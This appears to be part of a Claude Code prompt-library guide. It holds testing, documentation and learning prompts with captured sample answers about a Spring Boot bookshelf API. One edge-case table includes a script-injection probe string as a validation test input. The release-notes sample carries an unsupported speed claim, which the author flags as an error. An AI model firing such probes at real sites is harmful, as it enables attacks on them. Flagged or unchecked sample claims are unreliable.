Write, review and find gaps in tests, and make sure tests can actually fail.

TST-01Normal, edge, error
Write tests for {target} covering the normal case, edge cases and error cases. Run them and show which pass and which fail.

Use when: New code with no tests.

Watch out: Passing is not proof; see TST-03 and VER-04.

Combine with: TST-04 VER-01

TST-02Missing edge casesreal sample
What edge cases am I missing for {target}? List them with an example input each. Don't write tests yet.

Use when: Before writing tests; cheap and often surprising.

Watch out:

Combine with: CTL-01

Real sample: what Claude answered (Not fact-checked)
Prompt as sent
What edge cases am I missing for POST /api/books validation (title, author, year)? List them with an example input each. Don't write tests yet.
Actual output Β· executed 2026-10-31 Β· claude-sonnet-5-5 Β· Claude Code 2.1.314 Β· 5 turns Β· 23.8s Β· est. $0.102 Β· project commit f23d2f5
Here are the gaps I found, based on `CreateBookRequest` (`@NotBlank` title and author, `@Min(1450) @Max(2100) int year`), `BookService.create`, and an `ApiExceptionHandler` that only handles `BookNotFoundException`. ## Title | Case | Example input | Why it matters | |---|---|---| | Over-long string | `{"title":"<300 chars>","author":"A","year":2000}` | There is no `@Size`. The column defaults to 255 characters, so this likely returns a 500 from the database instead of a 400. | | Leading/trailing whitespace | `{"title":" Dune ",...}` | The title is stored untrimmed. It can make search and sorting behave oddly. | | Non-string type | `{"title":123,...}` or `{"title":["a"],...}` | Jackson may coerce the number to a string, and arrays or objects give a 400. Decide which behavior you want. | | Unicode and emoji | `{"title":"Les MisΓ©rables πŸ“š",...}` | Check that it round-trips and fits the column length. | | Control characters or newlines | `{"title":"Dune\n\t",...}` | A blank-looking title that isn't blank to `@NotBlank`, e.g. `"\u0000"`. | | Markup or injection strings | `{"title":"<script>alert(1)</script>",...}` | Should be stored as plain text and not break search. | ## Author | Case | Example input | Why it matters | |---|---|---| | Case or whitespace variants | `"Frank Herbert"` then `"frank herbert"` or `"Frank Herbert "` | `findByName` is an exact match, so this creates duplicate authors. | | Duplicate names already in the table | Two `Author` rows named `"X"`, then POST author `"X"` | `findByName` returning `Optional` would throw `IncorrectResultSizeDataAccessException`, a 500. The name has no unique constraint. | | Concurrent creates of a new author | Two simultaneous POSTs with author `"New Person"` | Both miss the lookup and insert, giving duplicates or a constraint error. | | Over-long string | `"author":"<300 chars>"` | Same 500 risk as the title. | | `null` or missing | `{"title":"T","year":2000}` | Expect a 400. | ## Year | Case | Example input | Why it matters | |---|---|---| | Missing field | `{"title":"T","author":"A"}` | A primitive `int` defaults to 0, so you get a "must be β‰₯ 1450" message instead of "required". | | Explicit `null` | `"year":null` | Same as above, because the primitive silently becomes 0. | | Exact boundaries | `1449`, `1450`, `2100`, `2101` | Check that both edges are inclusive and the values just outside are rejected. | | Decimal | `"year":1999.5` | Jackson may truncate it to 1999 and accept it. | | String number | `"year":"1999"` | Jackson coerces it by default, so it passes. | | Non-numeric string | `"year":"abc"` | Gives a 400 from `HttpMessageNotReadableException`. The message isn't customized. | | Overflow | `"year":99999999999` | Overflows an `int` and gives a 400. | | Negative or zero | `"year":-5`, `"year":0` | Rejected, and worth a test to pin the message. | | Future year inside the max | `"year":2099` | Accepted, though the book can't exist yet. Decide whether `@Max(2100)` is intended or should be the current year. | ## Request-level | Case | Example input | Why it matters | |---|---|---| | Empty or missing body | no body | Gives a 400, but with Spring's default error shape. | | Malformed JSON | `{"title":` | Same as above. | | Wrong `Content-Type` | `text/plain` with a valid body | Should give a 415. | | Unknown fields | `{"title":"T","author":"A","year":2000,"id":99}` | Check that `id` is ignored and can't be set by the client. | | Duplicate keys | `{"title":"A","title":"B",...}` | Last one wins. Probably worth documenting. | | Several invalid fields at once | `{"title":"","author":"","year":0}` | Check that all errors are reported, and in what format. | | Duplicate book | POST the same title, author and year twice | Currently allowed. Decide whether that is intended. | ## Things to decide - Add `@Size(max=255)` to title and author, and trim them (or reject untrimmed input). - Make `year` an `Integer` with `@NotNull` for a clear "required" message. - Add handlers in `ApiExceptionHandler` for `MethodArgumentNotValidException` and `HttpMessageNotReadableException`, so error bodies are consistent with your 404 shape. - Add a unique constraint on `Author.name`, possibly case-insensitive. Two or three of these (the long strings, the duplicate authors, and the missing year) are probably real bugs rather than just missing tests. I haven't run any of them, so the 500 and coercion outcomes are predictions from reading the code.
Author's check: Not fact-checked. Not fact-checked line by line. Read it as an example of the shape of an answer, and verify any file or line it cites before relying on it.
TST-03Tests that can't failreal sample
Review these tests: which of them could never fail, and why? Read only.

Use when: You inherited tests or an agent wrote them.

Watch out:

Combine with: VER-04

Real sample: what Claude answered (Checked)
Prompt as sent
Review these tests: which of them could never fail, and why? Read only.
Actual output Β· executed 2026-10-31 Β· claude-sonnet-5-5 Β· Claude Code 2.1.314 Β· 4 turns Β· 16.2s Β· est. $0.092 Β· project commit f23d2f5
None of the five test classes (seven tests) is a tautology. Each has an assertion that depends on real behaviour, so each can fail. I only read the tests, not the production code, so some of this rests on assumptions I flag below. **Weakest, with assertions that are too loose:** - **`StatsControllerTest.statsCountBooksAndAuthors`** uses `greaterThanOrEqualTo(6)` and `greaterThanOrEqualTo(3)`. It would pass if the endpoint over-counted, for example counting authors per book instead of distinct authors. It only fails if the count drops below the seed data. Pinning exact numbers would make it a real check. The tradeoff is that `BookApiIntegrationTest` shares the same Spring context and adds a book, so exact numbers would depend on test order. - **`BookControllerTest.blankTitleIsRejected`** only checks for a 400. Any 400 passes, including one from malformed JSON or a different field. It is only meaningful if the title validation (`@Valid`/`@NotBlank`) is what rejects the request. Asserting on the error body's field would pin that down. **Look strong but depend on assumptions:** - **`BookQueryCountTest`** fails if statistics aren't enabled (the count would be 0, not 1) or if `findAll` issues extra queries. The `println` is only noise. It counts all prepared statements, so any unrelated query in `findAll` would trip it. That is probably intended. - **`BookControllerTest.listReturnsBooks` and `unknownIdReturns404`** mock `BookService`, so they test only controller mapping and the exception handler. They say nothing about the service or database. They can fail, but they can't catch persistence bugs. - **`BookSearchTest`** depends on the seed data containing exactly two titles that match "clean". If someone adds another "Clean…" seed row, or `BookApiIntegrationTest` inserts one into the shared context, it breaks. That is brittleness rather than a test that can't fail. - **`BookApiIntegrationTest`** compares a single-element list from the filter expression against `2003`. Spring unwraps single-element lists, so this works. I didn't check the seed data or the validation annotations. Those would settle the `BookSearchTest` and `blankTitleIsRejected` caveats.
Author's check: Checked. Counts match the project (7 tests in 5 classes). The weak assertions it points at are real. It states what it did not read.
TST-04Match existing style
Follow the style, naming and helpers of the existing tests in this project when you write new ones.

Use when: Any new test in a project that already has tests.

Watch out:

Combine with: TST-01

TST-05Reproduce the bug
Write a test that reproduces this bug: {bug}. It must fail before the fix. Show the failure.

Use when: Bug fixes.

Watch out:

Combine with: VER-02 DBG-02

TST-06What is uncovered?real sample
Which behaviour of {target} is not covered by any test? List it, most important first. Read only.

Use when: Judging test gaps without a coverage tool.

Watch out: A coverage tool is more reliable for line coverage; this finds behavioural gaps.

Combine with: TST-02

Real sample: what Claude answered (Not fact-checked)
Prompt as sent
Which behaviour of the BookService class is not covered by any test? List it, most important first. Read only.
Actual output Β· executed 2026-10-31 Β· claude-sonnet-5-5 Β· Claude Code 2.1.314 Β· 9 turns Β· 18.8s Β· est. $0.109 Β· project commit f23d2f5
No test covers every `BookService` method directly. I read all five test classes but didn't run anything or measure coverage, so this comes from reading the tests. The real service is only exercised through `BookQueryCountTest`, `BookApiIntegrationTest` and `BookSearchTest`. `BookControllerTest` and `StatsControllerTest` mock the service. Gaps, most important first: 1. **`findById` has no test against the real service.** - The only reference is `BookControllerTest.unknownIdReturns404`, which stubs `service.findById(99L)` to throw `BookNotFoundException`. That tests the controller's 404 mapping, not the service. - Nothing checks that the real `findById` finds an existing book and returns its DTO, or that it throws `BookNotFoundException` when the repository comes back empty. - The `GET /api/books/{id}` happy path isn't tested at all. 2. **`create` reuses an existing author.** - `BookApiIntegrationTest` only creates a book for a brand-new author ("Eric Evans"). That runs the `orElseGet(... authors.save ...)` branch. - No test creates a second book for an existing author name. A regression there, such as duplicate `Author` rows or a unique-constraint failure, would go unnoticed. 3. **`create` persists the right fields.** The integration test checks `author` in the response and `year` on read-back. Nothing checks that the title is saved correctly or that the returned DTO has a generated id. 4. **`search` edge cases.** - The only test is "CLEAN", which has two matches, is case-insensitive and is sorted. - There is no test for no matches (an empty list), an empty string, or a null title. - A null title would pass `null` to the repository method, and what happens there is unverified. 5. **`findAll` ordering and the empty case.** `BookQueryCountTest` only asserts one SQL statement and ignores the result. The integration test only looks for one title with a JSONPath filter. Nothing asserts that results come back sorted by title, or what happens with an empty table. 6. **`@Transactional(readOnly = true)` behaviour.** Nothing tests it. That's low priority, since it's an annotation rather than logic.
Author's check: Not fact-checked. Not fact-checked line by line. Read it as an example of the shape of an answer, and verify any file or line it cites before relying on it.

Documentation 6

Docs that stay true because every claim is checked against the code.

DOC-01README with run commands
Write a README for this project: what it is, how to run it and how to test it. Every command in it must be one you actually ran in this session; show the output of each.

Use when: New or neglected projects.

Watch out: Run the README yourself on a clean checkout.

Combine with: VER-01 FMT-02

DOC-02Short doc for newcomersreal sample
Document {target} for a new team member in under 200 words.

Use when: Internal docs.

Watch out:

Combine with: ROL-04 AUD-01

Real sample: what Claude answered (Not fact-checked)
Prompt as sent
Document the BookService class for a new team member in under 200 words.
Actual output Β· executed 2026-10-31 Β· claude-sonnet-5-5 Β· Claude Code 2.1.314 Β· 3 turns Β· 7.1s Β· est. $0.072 Β· project commit f23d2f5
## BookService `BookService` (`com.example.bookshelf`) is the Spring `@Service` that holds the business logic for books. Controllers should call it. It talks to the database through two injected repositories, `BookRepository` and `AuthorRepository`. **Methods** - `findAll()` returns every book as a `BookDto`, sorted by title. - `search(String title)` returns books whose title contains the text, ignoring case, sorted by title. - `findById(long id)` returns one book. It throws `BookNotFoundException` if there is no match. Check how that exception is mapped to an HTTP response. - `create(CreateBookRequest)` looks up the author by name and creates the author if it doesn't exist. It then saves a new `Book` with the title, year and author. **Things to know** - **Transactions:** The read methods use `@Transactional(readOnly = true)`. `create` uses a full `@Transactional`, so the author and book are saved together or not at all. - **DTOs only:** Methods return `BookDto`, never JPA entities. Entities are converted inside the transaction through `BookDto.from`, which avoids lazy-loading problems later. - **Author matching:** Authors are matched on exact name, so "J.K. Rowling" and "JK Rowling" become two authors. - **No validation:** The service does no input validation. If you need it, add it to `CreateBookRequest` or the controller.
Author's check: Not fact-checked. Not fact-checked line by line. Read it as an example of the shape of an answer, and verify any file or line it cites before relying on it.
DOC-03Doc comments only
Add doc comments to the public methods of {target}. Do not change any code.

Use when: Undocumented APIs.

Watch out: Check with git diff that only comments changed.

Combine with: CTL-04

DOC-04Architecture overviewreal sample
Create an architecture overview of this project with a simple diagram of its main components and how they talk to each other.

Use when: Onboarding and design reviews.

Watch out: Verify each box and arrow against the code.

Combine with: FMT-06 EXP-01

Real sample: what Claude answered (Not fact-checked)
Prompt as sent
Create an architecture overview of this project with a simple diagram of its main components and how they talk to each other.
Actual output Β· executed 2026-10-31 Β· claude-sonnet-5-5 Β· Claude Code 2.1.314 Β· 12 turns Β· 32.6s Β· est. $0.146 Β· project commit f23d2f5
I couldn't save this as `ARCHITECTURE.md` because Write was denied in don't-ask mode, so the overview is below. Say the word, or allow Write, and I'll save it to the repo root. I read `CLAUDE.md`, the controllers, `BookRepository`, `DataSeeder` and the config. I did not open `BookService`, `Book`, `Author`, the DTOs, the exception handler, the tests or the scripts. Their roles come from file names, grep matches and `CLAUDE.md`. ## Bookshelf architecture Bookshelf is a Spring Boot 4.1 / Java 21 REST API for a book catalogue. It stores data in in-memory H2 through Spring Data JPA, and all the code is in one package, `com.example.bookshelf`. ``` Client ──HTTP/JSON──▢ β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ Web layer β”‚ β”‚ BookController /api/books, /search, /{id}β”‚ β”‚ StatsController /api/stats β”‚ β”‚ ApiExceptionHandler (errors β†’ ProblemDetail)β”‚ β””β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”‚ DTO records β”‚ count() only β–Ό β”‚ β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ β”‚ BookService β”‚ β”‚ β”‚ @Transactional β”‚ β”‚ β”‚ entity β†’ BookDto β”‚ β””β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”‚ β–Ό β–Ό β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ Repositories: BookRepository, AuthorRepositoryβ”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β–Ό β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ Entities: Book ──many-to-one (lazy)──▢ Authorβ”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β–Ό H2 (in-memory) β–² DataSeeder (CommandLineRunner) seeds 3 authors and 6 books on startup if the DB is empty ``` ### Components | Component | Role | |---|---| | `BookController` | `GET /api/books`, `GET /api/books/search`, `GET /api/books/{id}`, `POST /api/books`. Returns `BookDto` records, never entities. | | `StatsController` | `GET /api/stats` returns book and author counts. It calls the repositories directly and skips the service. | | `BookService` | Transaction boundary, read-only for reads. Maps `Book` to `BookDto` and throws `BookNotFoundException`. | | `ApiExceptionHandler` | Turns exceptions into `ProblemDetail` responses. Controllers contain no try/catch. | | Repositories | `JpaRepository` interfaces. Book queries use `@EntityGraph(attributePaths = "author")` so the author comes back in the same query. | | `Book`, `Author` | JPA entities. The year column is `publication_year` because H2 rejects `year`. | | `BookDto`, `CreateBookRequest` | API-facing records for the response shape and the request body. | | `DataSeeder` | Inserts the sample data on startup. | ### Request flow (list books) 1. `GET /api/books` reaches `BookController`, which calls `BookService`. 2. The service opens a read-only transaction and calls `findAllByOrderByTitle()`. 3. The entity graph makes that a single SQL join. 4. The service maps each `Book` to a `BookDto`, and the controller returns the list as JSON. `BookQueryCountTest` asserts this path runs exactly one SQL statement, so it guards against N+1 queries. ### Testing and tooling - **Tests:** five classes under `src/test`: controller, search, stats, API integration and query count. Run them with `./mvnw -B test`. - **Verification:** `scripts/verify.sh`, `scripts/status.sh` and `feature_list.json`. - **CI:** `.github/workflows/claude-review.yml`. - **Claude Code setup:** - `.claude/` holds the `sql-reviewer` agent, the `verify-build` and `explain-endpoint` skills, and a `block-destructive.sh` hook. - `.mcp.json` points to a remote issue-tracker MCP server. - `mcp/feature-server.mjs` is a local MCP server.
Author's check: Not fact-checked. Not fact-checked line by line. Read it as an example of the shape of an answer, and verify any file or line it cites before relying on it.
DOC-05Release notesreal sample
Write release notes for users, not developers, from the git log between {from} and {to}. Group by feature, fix and breaking change.

Use when: Releases.

Watch out: Needs read access to git history (allow `git log`).

Combine with: FMT-03

Real sample: what Claude answered (Contains errors)
Prompt as sent
Write release notes for users, not developers, from the git log between the first commit and HEAD. Group by feature, fix and breaking change.
Actual output Β· executed 2026-10-31 Β· claude-sonnet-5-5 Β· Claude Code 2.1.314 Β· 4 turns Β· 11.7s Β· est. $0.074 Β· project commit f23d2f5
# Bookshelf release notes ## Features - **Books are now saved.** Your books are stored in a database, so they are still there after the app restarts. The first version kept them only in memory. - **Add books.** You can add a book with `POST /api/books`. The app checks the details you send and rejects incomplete or invalid entries. - **Look up one book.** `GET /api/books/{id}` returns a single book. - **Search by title.** `GET /api/books/search?title=...` finds books by title. - **Library stats.** `GET /api/stats` gives you summary numbers about your collection. ## Fixes - **Faster book list.** The book list now loads in a constant number of database queries instead of one extra query per book. Large libraries should load noticeably faster. This fixes an N+1 query problem. - **Clearer errors for missing books.** Asking for a book that doesn't exist now returns a proper "not found" (404) response. ## Breaking changes - None for API consumers. The list endpoint (`GET /api/books`) is unchanged. - Book data is now kept in a database. Anything that lived only in the old in-memory list from the initial version is not carried over. I wrote these from commit messages and a scan of the controllers. The log is short, so I didn't read the code for exact response shapes or validation rules. The "stats" description and the "no breaking changes" claim are my best reading. Check them before publishing.
Author's check: Contains errors. The release notes say large libraries should load noticeably faster. Only the SQL statement count (4 down to 1) was measured, so the speed claim is unsupported. Always check marketing-shaped sentences.
DOC-06Is this doc still true?
Check whether this document is still true. List each factual claim and verify it against the code. {doc}

Use when: Before you trust or publish old docs.

Watch out:

Combine with: VER-03

Learning with Claude 6

Use Claude as a tutor: quizzes, small exercises, concept maps, common mistakes.

LRN-01Quiz me
Quiz me on {topic} with 5 questions, one at a time. Wait for my answer before the next, then correct me.

Use when: Active recall; far better than re-reading.

Watch out: In a one-shot run it asks only the first question; use an interactive session.

Combine with: LRN-02

LRN-02Three steps with exercises
Teach me {topic} in 3 steps, with one small exercise after each. Wait for me to answer before continuing.

Use when: Learning a new concept hands-on.

Watch out:

Combine with: AUD-03 ROL-02

LRN-03Concept mapreal sample
What are the 5 concepts I must understand to understand {topic}? Order them by what depends on what.

Use when: Starting a big topic.

Watch out:

Combine with: AUD-01

Real sample: what Claude answered (Not fact-checked)
Prompt as sent
What are the 5 concepts I must understand to understand how Spring Data JPA avoids N+1 queries? Order them by what depends on what.
Actual output Β· executed 2026-10-31 Β· claude-sonnet-5-5 Β· Claude Code 2.1.314 Β· 1 turns Β· 9.8s Β· est. $0.041 Β· project commit f23d2f5
Spring Data JPA doesn't avoid N+1 by default. It avoids it only when you use a few mechanisms correctly. Here are the 5 concepts, ordered from foundation to dependent: 1. **The object-relational mismatch and entity relationships** Rows are linked by foreign keys, while objects are linked by references. `@OneToMany`, `@ManyToOne` and similar annotations map one onto the other. Nothing else makes sense until you see why loading a `Book` might also mean loading its `Author` or `Reviews`. 2. **Persistence context (the first-level cache)** Each `EntityManager` or transaction tracks the entities it has loaded, one instance per ID. This is why a lookup by ID can skip the database, and why a relationship can be resolved without a query if the entity is already loaded. It also sets the scope in which lazy loading can work. 3. **Lazy vs. eager fetching (fetch type)** This decides when a relationship is loaded. Lazy relationships are loaded through a proxy on first access. Eager ones are loaded immediately. It depends on (1) for the relationships and on (2) for the session in which the lazy load runs. **This is where N+1 comes from.** One query loads N parents. Then touching a lazy association on each parent fires N more queries. Eager fetching can cause the same problem, because the extra queries are issued right after the parent query. 4. **Query-level fetch strategies: `JOIN FETCH`, `@EntityGraph`** This is the main fix. It overrides the default fetch type for one query and loads the parents and their associations in a single SQL statement (a join). It depends on (3), since you need to know what is lazy before you can override it. In Spring Data JPA you apply it with `@Query("... join fetch ...")` or `@EntityGraph(attributePaths = ...)` on repository methods. 5. **Batch fetching and projections (the alternatives to joins)** Fetching a collection with a join multiplies rows and breaks pagination, which Hibernate then handles in memory. Two alternatives avoid that: - **Batch fetching** (`@BatchSize` or `hibernate.default_batch_fetch_size`) turns N queries into about N/batch-size queries by loading lazy associations with `IN (...)`. - **DTO projections** select only the columns you need, so no associations get loaded. Both depend on (3) and (4), because you choose between them and a join based on the trade-offs. **Dependency chain:** 1 β†’ 2 β†’ 3 β†’ 4 β†’ 5. Concepts 1–3 explain the problem. Concepts 4–5 are the tools that solve it. To see it for yourself, turn on `spring.jpa.show-sql=true` (or `hibernate.generate_statistics`). Call a repository method with and without `@EntityGraph`, and compare the number of SQL statements. I haven't looked at your repo's entities or repositories. If you'd like, I can walk through `feature/jpa-books` and point out where these apply to your code.
Author's check: Not fact-checked. Not fact-checked line by line. Read it as an example of the shape of an answer, and verify any file or line it cites before relying on it.
LRN-04Wrong way, right way
Show me a wrong way and a right way to {task}, and explain why the wrong way is tempting.

Use when: Learning pitfalls.

Watch out:

Combine with: VER-04

LRN-05Compare two things
Explain the difference between {a} and {b} with one small example of each.

Use when: Confusable concepts.

Watch out:

Combine with: FMT-01

LRN-06Beginner mistakesreal sample
What mistakes do beginners most often make with {topic}? Give the symptom of each and how to avoid it.

Use when: Before you start or after you get stuck.

Watch out:

Combine with: LRN-04

Real sample: what Claude answered (Not fact-checked)
Prompt as sent
What mistakes do beginners most often make with validating REST request bodies in Spring Boot? Give the symptom of each and how to avoid it.
Actual output Β· executed 2026-10-31 Β· claude-sonnet-5-5 Β· Claude Code 2.1.314 Β· 1 turns Β· 14.4s Β· est. $0.049 Β· project commit f23d2f5
Here are the most common beginner mistakes with request body validation in Spring Boot, each with its symptom and fix. ## 1. Forgetting the validation starter **Symptom:** Annotations like `@NotBlank` or `@Size` compile fine but do nothing. Invalid input is accepted. **Fix:** Add `spring-boot-starter-validation`. Since Spring Boot 2.3 it's no longer included in `starter-web`. ## 2. Missing `@Valid` (or `@Validated`) on the controller parameter **Symptom:** Constraints on the DTO are ignored. Blank titles and negative years get saved. **Fix:** Write `create(@Valid @RequestBody BookRequest req)`. The annotations on the fields only declare the rules, and `@Valid` is what triggers them. ## 3. Putting constraints on the entity instead of a request DTO **Symptom:** Clients can set `id` or other fields they shouldn't (mass assignment). Validation rules for create and update can't differ. Persistence concerns get mixed with API rules. **Fix:** Use a separate request DTO (a record works well) with its own constraints. Map it to the entity in the service layer. ## 4. Using the wrong constraint for the type **Symptom:** `@NotNull` lets `""` through. `@Size` on a `String` accepts `null`. `@NotEmpty` accepts `" "`. **Fix:** - Strings: `@NotBlank` - Collections: `@NotEmpty` - Everything else: `@NotNull` - Numbers: `@Min`, `@Max`, `@Positive` Most constraints treat `null` as valid, so combine them with `@NotNull`/`@NotBlank`. ## 5. Primitives instead of wrappers **Symptom:** A missing `year` silently becomes `0`. `@NotNull` never fires. **Fix:** Use `Integer`, not `int`, in the DTO so absence is representable. Records need this too. ## 6. Not validating nested objects or collection elements **Symptom:** The outer object is validated, but invalid data inside `author` or `List<Item>` passes. **Fix:** Put `@Valid` on the nested field. For collection elements, use `List<@Valid Item>` or `List<@NotBlank String>`. ## 7. Using `@Valid` on `@RequestParam`/`@PathVariable` and expecting it to work **Symptom:** Constraints like `@Min(1)` on a path variable are ignored. **Fix:** Put `@Validated` on the controller class. Note that failures then throw `ConstraintViolationException` (HTTP 500 by default), whereas body validation throws `MethodArgumentNotValidException`. In Spring 6.1+/Boot 3.2+, built-in method validation changes this, so check your version. ## 8. Leaving the default error response **Symptom:** Clients get a verbose or inconsistent 400 body. In older Boot versions it leaks internal details. In newer versions with `server.error.include-*` settings it can be too sparse or too noisy. **Fix:** Add a `@RestControllerAdvice` that handles `MethodArgumentNotValidException`. Return a stable shape, such as field name to message. Better still, use RFC 7807 `ProblemDetail`. ## 9. Not handling malformed JSON separately **Symptom:** A bad JSON body, or `"year": "abc"`, returns a 400 with a confusing Jackson message. Beginners assume validation failed. **Fix:** Handle `HttpMessageNotReadableException`. Type and syntax errors happen at deserialization, *before* validation runs. ## 10. Treating bean validation as the only line of defense **Symptom:** Duplicate ISBNs, or an author ID that doesn't exist, pass validation and then fail with a 500 from the database. **Fix:** Bean validation covers shape only. Do business-rule checks (uniqueness, existence) in the service layer. Throw a domain exception mapped to 409 or 404. Back uniqueness with a DB constraint too, because a check-then-insert is racy. ## 11. Hard-to-read or untested messages **Symptom:** Clients see "must not be blank" with no context, or the wording changes unexpectedly. **Fix:** Set explicit messages (`@NotBlank(message = "title is required")`). Include the field name in the error response. Add `@WebMvcTest` tests that post invalid bodies and assert the 400 and the error shape. ## 12. Using one DTO for create and PATCH **Symptom:** Partial updates are rejected because `@NotBlank` fields are missing. Or you drop the constraints and create becomes unvalidated. **Fix:** Use separate DTOs, or validation groups. Use `Optional` or nullable fields with constraints that allow `null` for PATCH. --- **Quick checklist:** starter dependency β†’ request DTO β†’ `@Valid @RequestBody` β†’ right constraint per type β†’ wrapper types β†’ `@RestControllerAdvice` β†’ service-layer business checks β†’ `@WebMvcTest` for the 400 cases. I can look at the controllers in this bookshelf project and point out which of these apply there, if you'd like.
Author's check: Not fact-checked. Not fact-checked line by line. Read it as an example of the shape of an answer, and verify any file or line it cites before relying on it.
03
Summary

Key Takeaways, Exercises and Sources

βˆ‘ The prompt library: what to remember
  • Short sentences are building blocks. Audience, control, task, format and verification are separate decisions; make each one on purpose.
  • Put control first when files could change: "Read only" and "tell me your plan and wait" cost nothing and prevent surprises.
  • Ask for what was verified versus assumed. Fluent answers can be partly invented; one real sample here guessed a source file it never opened.
  • Give real evidence (an error, a command, a file), not a description of it.
  • Check citations. File and line references are checkable and were occasionally off by a line.
Exercises

Exercise 1 Beginner

Pick any open-source project. Run the same question ("how does a request reach the database?") with AUD-01, AUD-02 and one audience prompt of your own. Compare what each leaves out.

Learning outcome: see how audience changes the answer without changing the facts.

Exercise 2 Intermediate

Choose one task you will really do this week. Write it as five lines using one prompt from each of audience, control, format and verification categories. Run it read-only first, then decide whether to allow edits.

Learning outcome: compose a prompt from blocks.

Exercise 3 Advanced

Run VER-03 after three different answers. For each, open every file Claude says it verified and check at least two claims. Keep a tally of claims that were wrong and add your own prompt to your personal library.

Learning outcome: measure how often fluent answers hold up on your own code.

Sources (read on 2026-10-30; paraphrased)
  1. Anthropic, Best practices for Claude Code β€” specific prompts, giving checks, review prompts.
  2. Anthropic, Common workflows β€” exploring code, @ references, plan mode.
  3. Anthropic, Run Claude Code programmatically β€” claude -p flags used to capture the samples.

The 73 prompts are this guide's own wording; they are not quoted from Anthropic. All 29 samples were executed on 2026-10-31 by claude -p against the bookshelf project (read-only tools, local paths scrubbed). Prompts without a sample were not run. Everything is in the examples repository (prompts/library.json, prompts/samples/), and the capture script and its spend log are alongside it.